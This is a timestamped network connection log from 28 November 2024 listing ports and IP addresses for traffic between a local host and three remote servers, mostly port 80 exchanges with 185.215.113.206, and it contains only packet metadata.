Nov 28, 2024 00:19:41.251044989 CET	49824	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.251158953 CET	49824	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.251174927 CET	443	49824	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.268275976 CET	49834	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.268301010 CET	443	49834	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.279340982 CET	443	49835	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.329267025 CET	49833	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.329267025 CET	49835	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.329301119 CET	443	49835	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.372277975 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.372323990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.372334957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.372360945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.372397900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.372472048 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.372483969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.372495890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.372508049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.372528076 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.372560024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.372823954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.372834921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.372873068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.374859095 CET	49834	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.375812054 CET	49833	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.375925064 CET	443	49833	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.375988007 CET	49833	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.381215096 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.381237984 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.381279945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.381328106 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.390050888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.390131950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.496073961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.496140003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.515780926 CET	49835	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.526726007 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.526791096 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.526839972 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.532252073 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.532265902 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.532282114 CET	49821	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.532286882 CET	443	49821	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.536067009 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.536108017 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.536179066 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.536444902 CET	49841	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.536457062 CET	443	49841	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.582597017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.582652092 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.582695007 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.582737923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.586734056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.586788893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.586846113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.586886883 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.595015049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.595063925 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.595104933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.595144033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.602946997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.603002071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.603045940 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.603135109 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.611170053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.611191988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.611222982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.611248016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.619594097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.619632959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.619641066 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.619669914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.627696991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.627769947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.627779961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.627940893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.636018038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.636066914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.636089087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.636104107 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.641892910 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.641963005 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.642009020 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.642162085 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.642162085 CET	49822	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.642177105 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.642179966 CET	443	49822	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.644264936 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.644320011 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.644362926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.644495010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.644872904 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.644912004 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.645136118 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.645278931 CET	49842	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.645292997 CET	443	49842	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.651494980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.651555061 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.651556969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.651602983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.658715963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.658763885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.658780098 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.658830881 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.664591074 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.665522099 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.665543079 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.665992022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.666042089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.666059017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.666099072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.666343927 CET	49836	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.666347980 CET	443	49836	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.696377039 CET	443	49835	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.696465969 CET	443	49835	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.696707964 CET	49835	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.696831942 CET	49835	443	192.168.2.6	172.64.41.3
Nov 28, 2024 00:19:41.696850061 CET	443	49835	172.64.41.3	192.168.2.6
Nov 28, 2024 00:19:41.773014069 CET	443	49837	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.773505926 CET	49837	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.773526907 CET	443	49837	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.773966074 CET	49837	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.773972988 CET	443	49837	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.793087959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.793118954 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.793180943 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.795618057 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.795669079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.795695066 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.795737982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.800539970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.800595045 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.800643921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.800684929 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.805583000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.805629969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.805670023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.805751085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.810422897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.810473919 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.810477018 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.810520887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.815418005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.815454006 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.815502882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.820354939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.820408106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.820427895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.820456982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.825285912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.825366020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.825406075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.825447083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.830228090 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.830287933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.830305099 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.830332041 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.835284948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.835335016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.835391998 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.840193033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.840265036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.840310097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.840353012 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.845037937 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.845102072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.845150948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.845195055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.850011110 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.850112915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.850115061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.850155115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.853029966 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.853295088 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.853302956 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.854361057 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.854422092 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.855046988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.855108023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.855175018 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.855216026 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.855571985 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.855637074 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.855845928 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:41.855851889 CET	443	49838	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:41.859996080 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.860074043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.860131979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.864943027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.864998102 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.865040064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.865262985 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.869879961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.869977951 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.870028019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.874809027 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.874891043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.874913931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.874967098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.879837990 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.879853010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.879894972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.884777069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.884840965 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.884897947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.889698982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.889750957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.889817953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.889858961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.894684076 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.894778013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.894817114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.894844055 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.899547100 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.899610043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.899667978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.899732113 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.904604912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:41.904665947 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:41.960164070 CET	49838	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.003688097 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.003756046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.003787041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.003822088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.005569935 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.005599022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.005630016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.005646944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.009552002 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.009605885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.009756088 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.009807110 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.013792038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.013844967 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.013845921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.013881922 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.017362118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.017455101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.017482996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.017582893 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.021178961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.021250963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.021271944 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.021310091 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.025302887 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.025357008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.025382996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.025418043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.028639078 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.028685093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.028887987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.028935909 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.032222033 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.032274961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.032461882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.032507896 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.035732031 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.035778999 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.035938025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.035989046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.039274931 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.039329052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.039330959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.039397001 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.042839050 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.042938948 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.042977095 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.043008089 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.046386003 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.046439886 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.046483040 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.046518087 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.049837112 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.049931049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.049945116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.049967051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.053328037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.053381920 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.053391933 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.053442955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.056790113 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.056855917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.056864977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.056895971 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.060250044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.060301065 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.060348988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.060457945 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.063755989 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.063852072 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.063873053 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.063919067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.067286015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.067348003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.067406893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.067528009 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.070719957 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.070795059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.070830107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.070872068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.072390079 CET	443	49839	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.072813988 CET	49839	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.072849035 CET	443	49839	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.073302984 CET	49839	443	192.168.2.6	13.107.246.63
Nov 28, 2024 00:19:42.073309898 CET	443	49839	13.107.246.63	192.168.2.6
Nov 28, 2024 00:19:42.074278116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.074352026 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.074358940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.074495077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.077785969 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.077845097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.077886105 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.077923059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.081209898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.081274986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.081314087 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.081407070 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.084758997 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.084813118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.084867001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.084913969 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.088484049 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.088553905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.088604927 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.088641882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.103893995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.103944063 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.104075909 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.104206085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.104496956 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.104551077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.104804039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.104842901 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.104931116 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.104933977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.104990005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.105869055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.105880976 CET	80	49794	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:42.105937004 CET	49794	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:42.106765032 CET	80	49794	185.215.113.206	192.168.2.6
